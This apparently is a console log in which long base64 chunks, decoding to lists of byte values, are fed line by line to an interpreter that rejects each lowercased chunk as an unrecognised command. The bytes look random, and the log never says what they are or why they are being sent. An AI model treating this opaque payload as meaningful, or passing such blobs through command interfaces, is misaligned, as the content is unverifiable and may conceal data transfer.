**** Command 'mtk2ldg2lde4ncw2ldizoswxndcsmtcsnzcsmte1ldkylde2oswymjgsmtg0ldizncwymzgs' not recognized.
>>>> MjIyLDMzLDc2LDMxLDE2OCwyMzcsNDYsOTksMjM5LDE3LDUsMjAwLDE4LDIxLDI3LDIzNCwx
**** Command 'mjiyldmzldc2ldmxlde2ocwymzcsndysotksmjm5lde3ldusmjawlde4ldixldi3ldizncwx' not recognized.
>>>> OCw4NSw5LDE4OSwxNjksNDcsMTMyLDEyMCwxODIsMjU1LDIyMSwyNDIsMTA0LDIyMSwxNTUs
**** Command 'ocw4nsw5lde4oswxnjksndcsmtmyldeymcwxodismju1ldiymswyndismta0ldiymswxntus' not recognized.
>>>> NTAsMTY5LDE1MSwxODQsMTQ5LDI1MSwxNDQsMTU4LDE4LDE0LDI5LDI0MCwxMTcsMTQwLDIx
**** Command 'ntasmty5lde1mswxodqsmtq5ldi1mswxndqsmtu4lde4lde0ldi5ldi0mcwxmtcsmtqwldix' not recognized.
>>>> OSwyNTUsMTQyLDk5LDQ1LDk0LDI0MCw0NSwyNTEsMjQ1LDE2MSw5LDU1LDE2NywxNDUsMjAz
**** Command 'oswyntusmtqyldk5ldq1ldk0ldi0mcw0nswyntesmjq1lde2msw5ldu1lde2nywxndusmjaz' not recognized.
>>>> LDY2LDEyNCw1Miw5NSwyMTAsMTcsMjA4LDI4LDM2LDQ4LDk5LDE2LDEyMCwxOTIsMjYsMjIx
**** Command 'ldy2ldeyncw1miw5nswymtasmtcsmja4ldi4ldm2ldq4ldk5lde2ldeymcwxotismjysmjix' not recognized.
>>>> LDE5OSwxMDMsMTM5LDIwOSw1MCw5NywyNSwxNDYsMjAyLDk5LDM2LDExNSwzMiw3LDI0Niw1
**** Command 'lde5oswxmdmsmtm5ldiwosw1mcw5nywynswxndysmjayldk5ldm2ldexnswzmiw3ldi0niw1' not recognized.
>>>> MCwxOCwxODEsMTIsMTg0LDIwNywyNTIsOSwxNDIsNTcsNyw3NiwxNDUsMTAsMTI5LDIzNyw4
**** Command 'mcwxocwxodesmtismtg0ldiwnywyntisoswxndisntcsnyw3niwxndusmtasmti5ldiznyw4' not recognized.
>>>> OSwxNDYsOTksMjA3LDUyLDIxNiwxODMsMTU4LDQsMTU0LDM4LDg2LDQ4LDcsNTcsMjM2LDM3
**** Command 'oswxndysotksmja3lduyldixniwxodmsmtu4ldqsmtu0ldm4ldg2ldq4ldcsntcsmjm2ldm3' not recognized.
>>>> LDE4NCwxMjAsOTksOTYsOTAsMTY5LDEyMywxNTgsMTgyLDcxLDE0LDI3LDI2LDE0LDE3NSwz
**** Command 'lde4ncwxmjasotksotysotasmty5ldeymywxntgsmtgyldcxlde0ldi3ldi2lde0lde3nswz' not recognized.
>>>> OCwxNDQsMjUyLDg0LDE0MywxMzksMTQwLDI4LDIzMCwyMTEsMTYxLDE5NiwyMiw3NywyMTcs
**** Command 'ocwxndqsmjuyldg0lde0mywxmzksmtqwldi4ldizmcwymtesmtyxlde5niwymiw3nywymtcs' not recognized.
>>>> OCwxNTksMTIxLDIyLDE4LDYyLDcsMTgyLDEyOCwzMCwxNDgsMTQ2LDE0NSw2NSwxODYsMjMs
**** Command 'ocwxntksmtixldiylde4ldyyldcsmtgyldeyocwzmcwxndgsmtq2lde0nsw2nswxodysmjms' not recognized.
>>>> OTAsMjA2LDE4LDE1MCwyMjgsMjE5LDEwMCwxMTQsMTk2LDI2LDE4LDExNSwyMjEsMTIsMTUz
**** Command 'otasmja2lde4lde1mcwymjgsmje5ldewmcwxmtqsmtk2ldi2lde4ldexnswymjesmtismtuz' not recognized.
>>>> LDIyNiwyOCwyMDAsMTM4LDE1MywxNTEsNDUsMjE3LDE1MCwxODgsMTIsMTgsMTgsMjI0LDI1
**** Command 'ldiyniwyocwymdasmtm4lde1mywxntesndusmje3lde1mcwxodgsmtismtgsmtgsmji0ldi1' not recognized.
>>>> LDI0Nyw1MiwyMjMsOTQsMTc5LDc1LDI1MCwxNDQsMzUsMTIsMzAsMTgsMjQ1LDIyMCwxNTgs
**** Command 'ldi0nyw1miwymjmsotqsmtc5ldc1ldi1mcwxndqsmzusmtismzasmtgsmjq1ldiymcwxntgs' not recognized.
>>>> NTgsMjE0LDEzNSwyNiw4NywyMDgsOTUsMjgsNzQsMTgsMzgsOCwxODMsNjEsMjI0LDgyLDIz
**** Command 'ntgsmje0ldeznswyniw4nywymdgsotusmjgsnzqsmtgsmzgsocwxodmsnjesmji0ldgyldiz' not recognized.
>>>> Myw2OCwxOTUsMTA0LDE4LDU1LDk5LDk5LDIyMCwyMywxNzUsMjgsMTQzLDE3MCwxOSwxMDMs
**** Command 'myw2ocwxotusmta0lde4ldu1ldk5ldk5ldiymcwymywxnzusmjgsmtqzlde3mcwxoswxmdms' not recognized.
>>>> MTgsNTIsMjMxLDQ0LDIyMSw1OSwxMDcsNTUsMTQsMjMsNjUsNDUsOTAsMTU4LDE4MywyMzMs
**** Command 'mtgsntismjmxldq0ldiymsw1oswxmdcsntusmtqsmjmsnjusndusotasmtu4lde4mywymzms' not recognized.
>>>> MTQ2LDE1NiwyMjEsMTksMTQ5LDE0NiwyMDcsMTYxLDEyNyw0NiwxODgsNDksMTMsNTgsNDQs
**** Command 'mtq2lde1niwymjesmtksmtq5lde0niwymdcsmtyxldeynyw0niwxodgsndksmtmsntgsndqs' not recognized.
>>>> MjM4LDI1NSwyOCwyMDAsMjQ1LDEyMCwzMywxNDgsMTkyLDIwNywxNzcsMjUwLDE1LDE1LDMx
**** Command 'mjm4ldi1nswyocwymdasmjq1ldeymcwzmywxndgsmtkyldiwnywxnzcsmjuwlde1lde1ldmx' not recognized.
>>>> LDE3MCwxMzYsMTM1LDQ5LDUzLDE4MiwyNCwxODMsMTg3LDEzNywyMjMsMTYzLDEwLDM4LDY3
**** Command 'lde3mcwxmzysmtm1ldq5lduzlde4miwyncwxodmsmtg3ldeznywymjmsmtyzldewldm4ldy3' not recognized.
>>>> LDI1MSwxMjIsNzAsMTkyLDYxLDE4NCwxMCwzOCwxNDksMTQ3LDE4LDI0Niw3OCwxODYsMTU5
**** Command 'ldi1mswxmjisnzasmtkyldyxlde4ncwxmcwzocwxndksmtq3lde4ldi0niw3ocwxodysmtu5' not recognized.
>>>> LDcsMTkzLDIyMywxOTksMjU1LDIzMCwxMTQsOSwxNCwyMDUsNzAsNTcsOTcsNyw4MSwxMzgs
**** Command 'ldcsmtkzldiymywxotksmju1ldizmcwxmtqsoswxncwymdusnzasntcsotcsnyw4mswxmzgs' not recognized.
>>>> MTkwLDIxMSwyNTIsMzgsMTg4LDI0NywxOSwxNzksMTM4LDc3LDIzOCwyNDIsMCwxMzIsMTc5
**** Command 'mtkwldixmswyntismzgsmtg4ldi0nywxoswxnzksmtm4ldc3ldizocwyndismcwxmzismtc5' not recognized.
>>>> LDE1NywxODcsMTksMTAxLDExMCwxNDUsMTM2LDIyNCw0NiwxNzksMTE5LDE0Nyw3MSwxNTQs
**** Command 'lde1nywxodcsmtksmtaxldexmcwxndusmtm2ldiyncw0niwxnzksmte5lde0nyw3mswxntqs' not recognized.
>>>> MjIzLDMwLDQ2LDgsMTIyLDIzOCwxMzYsMjM3LDIyOCwyMzYsMjQyLDE0NiwxNjksMTkzLDEw
**** Command 'mjizldmwldq2ldgsmtiyldizocwxmzysmjm3ldiyocwymzysmjqylde0niwxnjksmtkzldew' not recognized.
>>>> LDE3LDE1OCwyMiwxODAsNTQsNzIsMjE1LDE4OCwyMzYsMTQsMTgzLDIxOCwyMjQsMjQ2LDM0
**** Command 'lde3lde1ocwymiwxodasntqsnzismje1lde4ocwymzysmtqsmtgzldixocwymjqsmjq2ldm0' not recognized.
>>>> LDIzMSwxNDQsMTA5LDExNSwyMDcsMTcsMjI1LDE2LDIxMCwxOTcsMjIyLDMzLDE1NiwxNzks
**** Command 'ldizmswxndqsmta5ldexnswymdcsmtcsmji1lde2ldixmcwxotcsmjiyldmzlde1niwxnzks' not recognized.
>>>> MjQwLDE2NCwxOTIsMTY2LDE2MywyMDksMTI0LDYzLDIxMiwxOTUsNzgsMTQ2LDIyMiwyMTEs
**** Command 'mjqwlde2ncwxotismty2lde2mywymdksmti0ldyzldixmiwxotusnzgsmtq2ldiymiwymtes' not recognized.
>>>> MjMyLDE0NiwxNjYsMzQsMTYyLDIzMSw2MiwxOTUsOTYsMjEsMjM0LDE2OCw3LDI4LDI5LDM3
**** Command 'mjmylde0niwxnjysmzqsmtyyldizmsw2miwxotusotysmjesmjm0lde2ocw3ldi4ldi5ldm3' not recognized.
>>>> LDIyMiw5LDIxOSwyMTYsMTAsNywzMCw4LDIyMiwyNDYsNTIsNyw1MCw3MCwzMSwyNyw1NSw2
**** Command 'ldiymiw5ldixoswymtysmtasnywzmcw4ldiymiwyndysntisnyw1mcw3mcwzmswynyw1nsw2' not recognized.
>>>> MCwyMjIsMTg3LDU3LDIsNDIsNTQsMjI4LDgsNTUsMTMwLDE3LDg2LDY2LDg1LDMwLDEyNCw1
**** Command 'mcwymjismtg3ldu3ldisndisntqsmji4ldgsntusmtmwlde3ldg2ldy2ldg1ldmwldeyncw1' not recognized.
>>>> NCw1NSw4MSwxMTQsMjYsNDcsMjUzLDI0LDI1MSwyOCwyMjcsNDQsMTAwLDE5OCw1NCwzOCwz
**** Command 'ncw1nsw4mswxmtqsmjysndcsmjuzldi0ldi1mswyocwymjcsndqsmtawlde5ocw1ncwzocwz' not recognized.
>>>> NCwxNzAsNDEsMzAsMTEwLDQyLDMwLDQ2LDE0NywxNTcsNDUsMTIsMzQsNTIsMjE3LDE5LDI1
**** Command 'ncwxnzasndesmzasmtewldqyldmwldq2lde0nywxntcsndusmtismzqsntismje3lde5ldi1' not recognized.
>>>> MSwxNiwxMywyNDEsMTQxLDE5OSwyMDEsNTgsMTcsMjQ5LDE0NSw1NywxMjksMTE5LDc1LDEz
**** Command 'mswxniwxmywyndesmtqxlde5oswymdesntgsmtcsmjq5lde0nsw1nywxmjksmte5ldc1ldez' not recognized.
>>>> NSwxNDMsMTcyLDIzOSw0LDI5LDExMywxMCw2NSwxOTIsMTcyLDEyOSwxODgsMTYsMTYyLDE4
**** Command 'nswxndmsmtcyldizosw0ldi5ldexmywxmcw2nswxotismtcyldeyoswxodgsmtysmtyylde4' not recognized.
>>>> NSwxNTcsNjcsMjE3LDU3LDgsMjQxLDU3LDE3OSwyMjIsMTk0LDE2OSwxNTIsMTkyLDIyMywy
**** Command 'nswxntcsnjcsmje3ldu3ldgsmjqxldu3lde3oswymjismtk0lde2oswxntismtkyldiymywy' not recognized.
>>>> MTcsNjcsMTM2LDI0MywyMzMsMTk1LDE2MCwxNjYsMzAsNTcsMjM4LDYsMjE5LDI4LDIzOSwx
**** Command 'mtcsnjcsmtm2ldi0mywymzmsmtk1lde2mcwxnjysmzasntcsmjm4ldysmje5ldi4ldizoswx' not recognized.
>>>> Nyw2MiwxMiwyMDIsOTQsMTQ2LDg2LDI0NywxOTUsMjI0LDIzMCwxODYsNjUsMjE2LDIyLDE1
**** Command 'nyw2miwxmiwymdisotqsmtq2ldg2ldi0nywxotusmji0ldizmcwxodysnjusmje2ldiylde1' not recognized.
>>>> MiwxNjEsMTY0LDkyLDIzNywxMjYsMjEsMTA2LDIxNyw5Nyw4OSwxMDIsMjQsMzgsMTQwLDI1
**** Command 'miwxnjesmty0ldkyldiznywxmjysmjesmta2ldixnyw5nyw4oswxmdismjqsmzgsmtqwldi1' not recognized.
>>>> LDIyMiw5NywxNzYsMjE3LDQzLDIzNywyMjUsMjU0LDI1MSwxNjgsMTMxLDU4LDcsMTUsMTIz
**** Command 'ldiymiw5nywxnzysmje3ldqzldiznywymjusmju0ldi1mswxnjgsmtmxldu4ldcsmtusmtiz' not recognized.
>>>> LDI0NiwxNzgsMTQsMjMyLDIyMiwyOSwyMDQsODQsMTg3LDIwLDE2OCwxMDAsNTQsMzEsMTgz
**** Command 'ldi0niwxnzgsmtqsmjmyldiymiwyoswymdqsodqsmtg3ldiwlde2ocwxmdasntqsmzesmtgz' not recognized.
>>>> LDUwLDIxOSwxOTEsMjUxLDIwNiwzNCwxNjUsMzYsNzUsMTksMjU0LDQsMTIzLDEzMCwyNTEs
**** Command 'lduwldixoswxotesmjuxldiwniwzncwxnjusmzysnzusmtksmju0ldqsmtizldezmcwyntes' not recognized.
>>>> MjE1LDE0MywxMzgsMjExLDE4MSwxMTAsMjUzLDE1OCwxNDIsMjQzLDE4NiwxMjIsMTMwLDM4
**** Command 'mje1lde0mywxmzgsmjexlde4mswxmtasmjuzlde1ocwxndismjqzlde4niwxmjismtmwldm4' not recognized.
>>>> LDE0MywxMCwxNzEsMTExLDI1MSwxNDEsMTI1LDI0NiwyMjAsMzAsMTUwLDQ0LDcxLDE4LDU5
**** Command 'lde0mywxmcwxnzesmtexldi1mswxndesmti1ldi0niwymjasmzasmtuwldq0ldcxlde4ldu5' not recognized.
>>>> LDIxNywyMTQsMTQ4LDIzOCwxMzUsMTY1LDE1LDI0MCwxNDMsMjM3LDExMCwyMTcsMTM5LDE0
**** Command 'ldixnywymtqsmtq4ldizocwxmzusmty1lde1ldi0mcwxndmsmjm3ldexmcwymtcsmtm5lde0' not recognized.
>>>> NiwxLDk4LDMxLDE5MCwyMDMsMjIyLDIxNSw1Miw5OCwxOTMsNDIsMTM0LDk3LDE4MSwzMiwy
**** Command 'niwxldk4ldmxlde5mcwymdmsmjiyldixnsw1miw5ocwxotmsndismtm0ldk3lde4mswzmiwy' not recognized.
>>>> NTAsMyw1NCwxMTQsMTkyLDY0LDE2MCwyMTYsMjIwLDM1LDIwOSwxMTgsMTc1LDEwMCwzNSwx
**** Command 'ntasmyw1ncwxmtqsmtkyldy0lde2mcwymtysmjiwldm1ldiwoswxmtgsmtc1ldewmcwznswx' not recognized.
>>>> NDQsMzksMTksMTc2LDE4NiwyMjIsMTc4LDE4NSwxMTUsMzYsMjcsMTgzLDIxNiwyOSwxMjQs
**** Command 'ndqsmzksmtksmtc2lde4niwymjismtc4lde4nswxmtusmzysmjcsmtgzldixniwyoswxmjqs' not recognized.
>>>> Miw4OCwyMjAsMTE3LDEyNywyNTEsNTcsMTQ2LDQyLDI1MywxNTQsNSwyNSwxNywyOCw1Nywy
**** Command 'miw4ocwymjasmte3ldeynywyntesntcsmtq2ldqyldi1mywxntqsnswynswxnywyocw1nywy' not recognized.
>>>> NDcsMTE1LDIyNSwxOTIsMjAxLDI1MCwxNDYsMTI2LDEzMCwyNTAsNSwyNTMsMTIwLDIxNywy
**** Command 'ndcsmte1ldiynswxotismjaxldi1mcwxndysmti2ldezmcwyntasnswyntmsmtiwldixnywy' not recognized.
>>>> MzgsMTA3LDI0LDE4Niw1LDI1MCwxNiwxNjQsMjE3LDEzNywxNDMsMjI1LDc1LDIwLDM0LDEz
**** Command 'mzgsmta3ldi0lde4niw1ldi1mcwxniwxnjqsmje3ldeznywxndmsmji1ldc1ldiwldm0ldez' not recognized.
>>>> NSwxNSwxNzgsMTU1LDExOCwyNDYsMTIwLDQ3LDIyLDExOCw2LDI1NCwxMTMsMjQ0LDIyNiwy
**** Command 'nswxnswxnzgsmtu1ldexocwyndysmtiwldq3ldiyldexocw2ldi1ncwxmtmsmjq0ldiyniwy' not recognized.
>>>> MCw4MSwyNDYsMTA5LDQ5LDYyLDExMywyMDcsMzYsOSwyMjMsMTIsMjMwLDEyMywxNTMsMjE5
**** Command 'mcw4mswyndysmta5ldq5ldyyldexmywymdcsmzysoswymjmsmtismjmwldeymywxntmsmje5' not recognized.
>>>> LDU3LDQwLDE3NCwwLDE3LDIzMiw1MCwxMywyMTIsNjcsMTY4LDExMSw1NywyNTAsMTQxLDE0
**** Command 'ldu3ldqwlde3ncwwlde3ldizmiw1mcwxmywymtisnjcsmty4ldexmsw1nywyntasmtqxlde0' not recognized.
>>>> LDQsMTQ4LDIxNywxMjAsOTksMjE4LDEyNyw4LDYyLDIsMTE3LDIwMSwxOTgsNTYsMjA1LDI0
**** Command 'ldqsmtq4ldixnywxmjasotksmje4ldeynyw4ldyyldismte3ldiwmswxotgsntysmja1ldi0' not recognized.
>>>> LDI1MSwxNDIsODQsMTE3LDUsMzUsMTgsMjA3LDEwLDM2LDEzNyw1NiwxMjUsMTg0LDIyLDIx
**** Command 'ldi1mswxndisodqsmte3ldusmzusmtgsmja3ldewldm2ldeznyw1niwxmjusmtg0ldiyldix' not recognized.
>>>> OSwyMzAsNTMsMjE2LDExOSwxNDQsOTcsMTYwLDI0OCwxLDE1MiwxNzIsOTAsOTAsMTgzLDEy
**** Command 'oswymzasntmsmje2ldexoswxndqsotcsmtywldi0ocwxlde1miwxnzisotasotasmtgzldey' not recognized.
>>>> MiwyNTIsMjIwLDIyNCwxNTgsMTA5LDIzNCwxNDYsMjM4LDExNiw2OCwxNCwxOTAsMTIzLDEs
**** Command 'miwyntismjiwldiyncwxntgsmta5ldizncwxndysmjm4ldexniw2ocwxncwxotasmtizldes' not recognized.
>>>> MTc3LDEyNSwxMjMsNjMsNzUsMTQwLDI1Myw2Nyw2LDQ1LDExMyw0OSwyNSwyMDMsNjksMTcx
**** Command 'mtc3ldeynswxmjmsnjmsnzusmtqwldi1myw2nyw2ldq1ldexmyw0oswynswymdmsnjksmtcx' not recognized.
>>>> LDIxMywxOTEsOTUsMTc2LDIzMSwxMjIsMTI1LDEyOSwyMTYsMjI4LDEzMiwyMjgsMjA5LDM0
**** Command 'ldixmywxotesotusmtc2ldizmswxmjismti1ldeyoswymtysmji4ldezmiwymjgsmja5ldm0' not recognized.
>>>> LDE0LDExNywxNzgsMTE3LDE4LDIzMiwyNSwxNzAsMjQ2LDIzMCwyMzIsMTgzLDIxOSw0NSwy
**** Command 'lde0ldexnywxnzgsmte3lde4ldizmiwynswxnzasmjq2ldizmcwymzismtgzldixosw0nswy' not recognized.
>>>> NTUsMTQyLDI0OCw1MCwxNyw3MCwxMDIsMTI3LDMzLDI0NSwxMTAsNTgsMTA4LDkxLDQsMTA1
**** Command 'ntusmtqyldi0ocw1mcwxnyw3mcwxmdismti3ldmzldi0nswxmtasntgsmta4ldkxldqsmta1' not recognized.
>>>> LDE3LDIzOCwxNzUsMzMsMTAzLDIyNiw1OSwxMjgsMTEsMjQyLDIyMCwxNjUsMTU5LDg1LDE5
**** Command 'lde3ldizocwxnzusmzmsmtazldiyniw1oswxmjgsmtesmjqyldiymcwxnjusmtu5ldg1lde5' not recognized.
>>>> MCw5MywyMjYsMjI4LDIyMywyMDIsODAsMjM4LDE5NCwxOCwxNDMsMjQ4LDczLDI1MSwzNCwy
**** Command 'mcw5mywymjysmji4ldiymywymdisodasmjm4lde5ncwxocwxndmsmjq4ldczldi1mswzncwy' not recognized.
>>>> NDUsMTQ2LDIwNSw5MywzNCw5NCw3Miw4Niw0MCwwLDU5LDI0MCwxOTMsMTkxLDU4LDM3LDk3
**** Command 'ndusmtq2ldiwnsw5mywzncw5ncw3miw4niw0mcwwldu5ldi0mcwxotmsmtkxldu4ldm3ldk3' not recognized.
>>>> LDIyOSwxMTksMjE2LDIyNSwxNDIsNzAsOTUsOTgsMTQsMzEsMjQyLDMxLDEzLDEwMSwxOTAs
**** Command 'ldiyoswxmtksmje2ldiynswxndisnzasotusotgsmtqsmzesmjqyldmxldezldewmswxotas' not recognized.
>>>> NjcsODksNDMsMTM2LDE5MywyNTUsMTcxLDMxLDQ2LDEwOCw2NiwxLDE1Nyw0MCwyNiwzNiwy
**** Command 'njcsodksndmsmtm2lde5mywyntusmtcxldmxldq2ldewocw2niwxlde1nyw0mcwyniwzniwy' not recognized.
>>>> MzgsMTQ0LDI0MCwxODQsODcsNDQsMjA1LDU1LDEzNywxNTIsMTI3LDE4OSwwLDIzNiwyOSwx
**** Command 'mzgsmtq0ldi0mcwxodqsodcsndqsmja1ldu1ldeznywxntismti3lde4oswwldizniwyoswx' not recognized.
>>>> MDIsMTkwLDQ5LDE4NiwxMjAsMjU0LDUzLDEyMCwzMCwyNDUsMTU1LDExMSwyNDYsMjYsMTE1
**** Command 'mdismtkwldq5lde4niwxmjasmju0lduzldeymcwzmcwyndusmtu1ldexmswyndysmjysmte1' not recognized.
>>>> LDEyMiwxMzUsNCwyMTgsMTQzLDI0MSwxOTAsMywyMzcsMjYsMTY3LDMzLDIxMywxNiwyMTUs
**** Command 'ldeymiwxmzusncwymtgsmtqzldi0mswxotasmywymzcsmjysmty3ldmzldixmywxniwymtus' not recognized.
>>>> MTQyLDE2MCwxNjksODksMjQ0LDE4NiwxMywxMjIsNSwyLDUwLDIxOSwxMzIsNzUsMTc0LDI1
**** Command 'mtqylde2mcwxnjksodksmjq0lde4niwxmywxmjisnswylduwldixoswxmzisnzusmtc0ldi1' not recognized.
>>>> MiwxMzQsMjI0LDE2NCwyMTksMjQ0LDE3NSwxNTQsMzUsMTUxLDQ2LDIzLDY1LDEwMiwxMCwx
**** Command 'miwxmzqsmji0lde2ncwymtksmjq0lde3nswxntqsmzusmtuxldq2ldizldy1ldewmiwxmcwx' not recognized.
>>>> NzgsMjYsMTAsMTMwLDkxLDI1LDEyOCwyNDgsMjA1LDE4MywxODMsOCwxNTgsMjI0LDYsMTA4
**** Command 'nzgsmjysmtasmtmwldkxldi1ldeyocwyndgsmja1lde4mywxodmsocwxntgsmji0ldysmta4' not recognized.
>>>> LDMsMTQyLDI1NSwxMzUsMTcsMjI5LDE0LDI0MCwyMzksNzUsMjA4LDIsNiwyMCwxNywyMjMs
**** Command 'ldmsmtqyldi1nswxmzusmtcsmji5lde0ldi0mcwymzksnzusmja4ldisniwymcwxnywymjms' not recognized.
>>>> MTcsMjQ1LDE2Niw0MywyNDYsMjA2LDIwMiw3MCw3LDY3LDIzOCwyMDYsNjgsODUsMjA4LDIw
**** Command 'mtcsmjq1lde2niw0mywyndysmja2ldiwmiw3mcw3ldy3ldizocwymdysnjgsodusmja4ldiw' not recognized.
>>>> NCwxMTgsMTE4LDQ2LDIxOCw4OSwyNDIsMTAsNTcsMTEzLDE3NiwyMTQsMTYsMjM0LDExLDIy
**** Command 'ncwxmtgsmte4ldq2ldixocw4oswyndismtasntcsmtezlde3niwymtqsmtysmjm0ldexldiy' not recognized.
>>>> OSwxMTgsMTA4LDEyNyw5LDcyLDExNCwzMywzNywxNjAsMjUyLDExMywxNDAsMjU0LDEyNCw2
**** Command 'oswxmtgsmta4ldeynyw5ldcyldexncwzmywznywxnjasmjuyldexmywxndasmju0ldeyncw2' not recognized.
>>>> MiwxMSwyMiwxNzYsMCw0Myw4LDIyMCwxNjYsMjE2LDI1MywxNTQsNTksNzcsNjUsMTU5LDEw
**** Command 'miwxmswymiwxnzysmcw0myw4ldiymcwxnjysmje2ldi1mywxntqsntksnzcsnjusmtu5ldew' not recognized.
>>>> OCw5NSwyMjksODYsMSw1LDQ1LDIxMCwxOTUsMjM4LDQxLDMzLDE3LDE1NiwxMDcsMTY2LDIx
**** Command 'ocw5nswymjksodysmsw1ldq1ldixmcwxotusmjm4ldqxldmzlde3lde1niwxmdcsmty2ldix' not recognized.
>>>> OCw0MSwxMjgsNjgsMTM1LDEwOCwxMzMsMTc0LDc2LDEzLDEzNiwxODgsMjM2LDIxNywxNjks
**** Command 'ocw0mswxmjgsnjgsmtm1ldewocwxmzmsmtc0ldc2ldezldezniwxodgsmjm2ldixnywxnjks' not recognized.
>>>> MTc4LDEzMSwyMzQsMzcsNDAsMjE1LDIxOCwyMzgsMTgzLDIyNSwxNjYsNjMsMjA4LDEwNywx
**** Command 'mtc4ldezmswymzqsmzcsndasmje1ldixocwymzgsmtgzldiynswxnjysnjmsmja4ldewnywx' not recognized.
>>>> MTMsMjM5LDEzMCwxMjEsMTIzLDAsMTQsNDcsMTM3LDIzMywzNSwyMjIsMTEzLDE2NCwxNDIs
**** Command 'mtmsmjm5ldezmcwxmjesmtizldasmtqsndcsmtm3ldizmywznswymjismtezlde2ncwxndis' not recognized.
>>>> NzAsMTcyLDEyMSw3MCwyMjgsODksMjUyLDE3MSwxOCwyNDAsNTEsMTc2LDE3NiwxNjEsMTcx
**** Command 'nzasmtcyldeymsw3mcwymjgsodksmjuylde3mswxocwyndasntesmtc2lde3niwxnjesmtcx' not recognized.
>>>> LDY0LDI0MSwyMDAsMjQxLDM3LDEyMCwxODAsMTMyLDk0LDE3NSw2NSwxNDYsMTY2LDE5MCw2
**** Command 'ldy0ldi0mswymdasmjqxldm3ldeymcwxodasmtmyldk0lde3nsw2nswxndysmty2lde5mcw2' not recognized.
>>>> OCwxMDQsMywyNiwyNDEsNDEsMjI5LDE3Miw0MCw2NiwxNTksOTgsMjI3LDExLDE4NiwyNTQs
**** Command 'ocwxmdqsmywyniwyndesndesmji5lde3miw0mcw2niwxntksotgsmji3ldexlde4niwyntqs' not recognized.
>>>> MjU0LDE1MiwyMzgsMTgwLDExNyw2OSw2LDIwMywyMjIsODQsMTU3LDE0NSw0NSwxNTAsMSwx
**** Command 'mju0lde1miwymzgsmtgwldexnyw2osw2ldiwmywymjisodqsmtu3lde0nsw0nswxntasmswx' not recognized.
>>>> MDUsMTExLDI0MiwxMjIsMTY0LDE1OCwxOTYsNTIsMjI4LDUyLDIwNywyNTQsNDQsMjQyLDE0
**** Command 'mdusmtexldi0miwxmjismty0lde1ocwxotysntismji4lduyldiwnywyntqsndqsmjqylde0' not recognized.
>>>> NiwyNDQsODYsMjIzLDE5LDEzLDU2LDM5LDE2NywyMzMsNjIsMTM1LDIxNCw4NSwxNzksMjM0
**** Command 'niwyndqsodysmjizlde5ldezldu2ldm5lde2nywymzmsnjismtm1ldixncw4nswxnzksmjm0' not recognized.
>>>> LDEwLDEsMjM4LDIzNiwxMzQsMTc4LDU1LDgyLDc3LDE4MiwxMTAsMzEsMjA3LDE4NiwyNSwy
**** Command 'ldewldesmjm4ldizniwxmzqsmtc4ldu1ldgyldc3lde4miwxmtasmzesmja3lde4niwynswy' not recognized.
>>>> MzQsMTg2LDE5NCwxNjEsMjExLDExMywyMiwxMDUsMTcyLDI1MiwxNzQsMTIzLDM5LDIzLDE5
**** Command 'mzqsmtg2lde5ncwxnjesmjexldexmywymiwxmdusmtcyldi1miwxnzqsmtizldm5ldizlde5' not recognized.
>>>> NCw3NywyMjksODUsNyw3NSwxNDksMTAwLDE2MCw2OCwzMSwxNjEsMTA1LDE5LDE3Myw2OSwz
**** Command 'ncw3nywymjksodusnyw3nswxndksmtawlde2mcw2ocwzmswxnjesmta1lde5lde3myw2oswz' not recognized.
>>>> NSwxMzIsODAsMiwzOSwzNiw5MCw4Myw1LDU4LDIzLDE2NSwxMjEsMzQsNTUsMjQ2LDg4LDY0
**** Command 'nswxmzisodasmiwzoswzniw5mcw4myw1ldu4ldizlde2nswxmjesmzqsntusmjq2ldg4ldy0' not recognized.
>>>> LDE3OCwxNDAsNjIsMTM2LDIyLDE1LDEwMSwyMzUsMjQ0LDIzOSwxOCwyMTIsMjA4LDIzNiwx
**** Command 'lde3ocwxndasnjismtm2ldiylde1ldewmswymzusmjq0ldizoswxocwymtismja4ldizniwx' not recognized.
>>>> MjEsMTQ1LDYsMjUzLDM5LDEyNSwxNiw2MSw2NCwxNTAsNzUsNjksMTUzLDIyOCw1NCw0Miwy
**** Command 'mjesmtq1ldysmjuzldm5ldeynswxniw2msw2ncwxntasnzusnjksmtuzldiyocw1ncw0miwy' not recognized.
>>>> MDAsNiwxMzksOTQsMTM1LDI1NSwyMzEsMjE3LDE4MywxMzEsMjIxLDIyLDIzNCwyMjgsNDks
**** Command 'mdasniwxmzksotqsmtm1ldi1nswymzesmje3lde4mywxmzesmjixldiyldizncwymjgsndks' not recognized.
>>>> OTAsNDQsMzksODUsNjUsMjAwLDI1NCwyMTQsMjA1LDI1MywxMTQsMjUzLDE0NiwxMDUsMjIy
**** Command 'otasndqsmzksodusnjusmjawldi1ncwymtqsmja1ldi1mywxmtqsmjuzlde0niwxmdusmjiy' not recognized.
>>>> LDE3LDE0LDM4LDEwMSwyMDEsNTcsMTc3LDEzMSwyMCwxNjEsOTEsMjI3LDEzMSw3MywxNzQs
**** Command 'lde3lde0ldm4ldewmswymdesntcsmtc3ldezmswymcwxnjesotesmji3ldezmsw3mywxnzqs' not recognized.
>>>> MTcwLDE3Myw1Miw1LDIwNywxMzEsMTA4LDE4NSwxMzUsMTUwLDIsMjQwLDYyLDEwOCwxMTAs
**** Command 'mtcwlde3myw1miw1ldiwnywxmzesmta4lde4nswxmzusmtuwldismjqwldyyldewocwxmtas' not recognized.
>>>> NjAsMjAzLDE1MCwyMzMsMjIwLDEyNywxMzIsMTU0LDYsMTMzLDkyLDI0Miw4NCwxMjAsOCwx
**** Command 'njasmjazlde1mcwymzmsmjiwldeynywxmzismtu0ldysmtmzldkyldi0miw4ncwxmjasocwx' not recognized.
>>>> MDIsNTEsOTAsMTMyLDEwMywxNTYsMjMxLDEwNCwxOTYsMTc5LDYyLDIwMiwxMDIsMTczLDE4
**** Command 'mdisntesotasmtmyldewmywxntysmjmxldewncwxotysmtc5ldyyldiwmiwxmdismtczlde4' not recognized.
>>>> LDEyMiwyNTEsMTE3LDE0LDgyLDEwNSw4MiwyNTUsMTA3LDExOSwxLDE0NiwyMDQsODcsMTEw
**** Command 'ldeymiwyntesmte3lde0ldgyldewnsw4miwyntusmta3ldexoswxlde0niwymdqsodcsmtew' not recognized.
>>>> LDY2LDEsMjQ5LDMyLDE4MiwyMjcsNTMsNywxNjQsMjE2LDg4LDEwOSwxODcsMjcsNzEsMTE3
**** Command 'ldy2ldesmjq5ldmylde4miwymjcsntmsnywxnjqsmje2ldg4ldewoswxodcsmjcsnzesmte3' not recognized.
